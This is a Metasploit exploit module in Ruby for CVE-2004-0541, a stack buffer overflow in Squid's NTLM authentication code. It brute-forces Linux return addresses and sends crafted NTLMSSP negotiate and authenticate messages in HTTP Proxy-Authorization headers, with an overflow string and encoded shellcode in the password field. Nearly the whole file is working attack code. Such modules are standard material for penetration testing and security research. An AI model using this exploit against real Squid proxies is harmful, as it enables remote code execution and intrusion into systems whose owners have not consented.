##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Brute
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Squid NTLM Authenticate Overflow',
      'Description'    => %q{
          This is an exploit for Squid\'s NTLM authenticate overflow
        (libntlmssp.c). Due to improper bounds checking in
        ntlm_check_auth, it is possible to overflow the 'pass'
        variable on the stack with user controlled data of a user
        defined length.  Props to iDEFENSE for the advisory.
      },
      'Author'         => 'skape',
      'References'     =>
        [
          [ 'CVE', '2004-0541'],
          [ 'OSVDB', '6791'],
          [ 'URL', 'http://www.idefense.com/application/poi/display?id=107'],
          [ 'BID', '10500'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 256,
          'MinNops'  => 16,
          'Prepend'  => "\x31\xc9\xf7\xe1\x8d\x58\x0e\xb0\x30\x41\xcd\x80",
          'PrependEncoder' => "\x83\xec\x7f",

        },
      'Platform'   => %w{ linux },
      'Targets'        =>
        [
          [ 'Linux Bruteforce',
            {
              'Platform'   => 'linux',
              'Bruteforce' =>
                {
                  'Start' => { 'Ret' => 0xbfffcfbc, 'Valid' => 0xbfffcf9c },
                  'Stop'  => { 'Ret' => 0xbffffffc, 'Valid' => 0xbffffffc },
                  'Step'  => 0
                }
            },
          ],
        ],
      'DisclosureDate' => '2004-06-08',
      'DefaultTarget'  => 0))

    register_advanced_options(
      [
        # We must wait 15 seconds between each attempt so as to prevent
        # squid from exiting completely after 5 crashes.
        OptInt.new('BruteWait', [ false, "Delay between brute force attempts", 15 ]),
      ])
  end

  def brute_exploit(addresses)
    site = "http://" + rand_text_alpha(rand(128)) + ".com"

    print_status("Trying 0x#{"%.8x" % addresses['Ret']}...")
    connect

    trasnmit_negotiate(site)
    transmit_authenticate(site, addresses)

    handler
    disconnect
  end

  def trasnmit_negotiate(site)
    negotiate  =
      "NTLMSSP\x00"        + # NTLMSSP identifier
      "\x01\x00\x00\x00"   + # NTLMSSP_NEGOTIATE
      "\x07\x00\xb2\x07"   + # flags
      "\x01\x00\x09\x00"   + # workgroup len/max       (1)
      "\x01\x00\x00\x00"   + # workgroup offset        (1)
      "\x01\x00\x03\x00"   + # workstation len/max     (1)
      "\x01\x00\x00\x00"     # workstation offset      (1)

    print_status("Sending NTLMSSP_NEGOTIATE (#{negotiate.length} bytes)")
    req =
      "GET #{site} HTTP/1.1\r\n" +
      "Proxy-Connection: Keep-Alive\r\n" +
      "Proxy-Authorization: NTLM #{Rex::Text.encode_base64(negotiate)}\r\n" +
      "\r\n"
    sock.put(req)

  end

  def transmit_authenticate(site, addresses)
    overflow     =
      rand_text_alphanumeric(0x20) +
      [addresses['Ret']].pack('V') +
      [addresses['Valid']].pack('V') +
      "\xff\x00\x00\x00"
    shellcode    = payload.encoded
    pass_len     = [overflow.length + shellcode.length].pack('v')
    authenticate =
      "NTLMSSP\x00"        + # NTLMSSP identifier
      "\x03\x00\x00\x00"   + # NTLMSSP_AUTHENTICATE
      pass_len + pass_len  + # lanman response len/max
      "\x38\x00\x00\x00"   + # lanman response offset  (56)
      "\x01\x00\x01\x00"   + # nt response len/max     (1)
      "\x01\x00\x00\x00"   + # nt response offset      (1)
      "\x01\x00\x01\x00"   + # domain name len/max     (1)
      "\x01\x00\x00\x00"   + # domain name offset      (1)
      "\x01\x00\x01\x00"   + # user name               (1)
      "\x01\x00\x00\x00"   + # user name offset        (1)
      "\x00\x00\x00\x00"   + # session key
      "\x8b\x00\x00\x00"   + # session key
      "\x06\x82\x00\x02"   + # flags
      overflow + shellcode

    print_status("Sending NTLMSSP_AUTHENTICATE (#{authenticate.length} bytes)")
    req =
      "GET #{site} HTTP/1.1\r\n" +
      "Proxy-Connection: Keep-Alive\r\n" +
      "Proxy-Authorization: NTLM #{Rex::Text.encode_base64(authenticate)}\r\n" +
      "\r\n"
    sock.put(req)
  end
end
